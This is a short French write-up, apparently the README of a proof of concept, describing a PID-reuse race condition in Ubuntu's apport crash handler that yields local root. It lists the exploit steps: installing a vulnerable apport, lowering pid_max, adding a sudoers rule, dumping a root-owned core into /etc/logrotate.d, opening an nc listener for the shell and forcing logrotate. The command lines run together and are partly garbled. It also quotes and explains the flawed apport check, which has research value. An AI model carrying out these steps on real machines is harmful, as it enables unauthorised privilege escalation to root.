
Condition de concurrence dans apport conduisant à une élévation de privilèges locale sur Ubuntu
sudo apt-get install apport=2.20.11-0ubuntu27 (toute version <= 2.20.11-0ubuntu27.10 convient, mais vous devez télécharger le code source)echo 10000 | sudo tee /proc/sys/kernel/pid_maxALL ALL=(root) NOPASSWD: /usr/bin/ping dans /etc/sudoersulimit -c unlimited; ./exploit/etc/logrotate.d/corenc -lvcp 1234sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf pour déclencher logrotate immédiatement. (identique à /etc/cron.daily/logrotate)Apport vérifie si le PID est réutilisé en contrôlant si l'heure de démarrage du processus est postérieure à celle d'Apport lui-même :
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
Mais ce PID pourrait être réutilisé juste après le lancement d'Apport. Dans ce cas, get_apport_starttime() == get_process_starttime().
Ainsi, vous pouvez laisser Apport déposer un fichier core avec -rw------- root:root, si vous pouvez réoccuper ce PID avec un autre processus s'exécutant sous uid==0 :
sudo ping 8.8.8.8 avec le répertoire courant /etc/logrotate.d/. Un processus s'exécutant sous root:root réoccupera le PID A.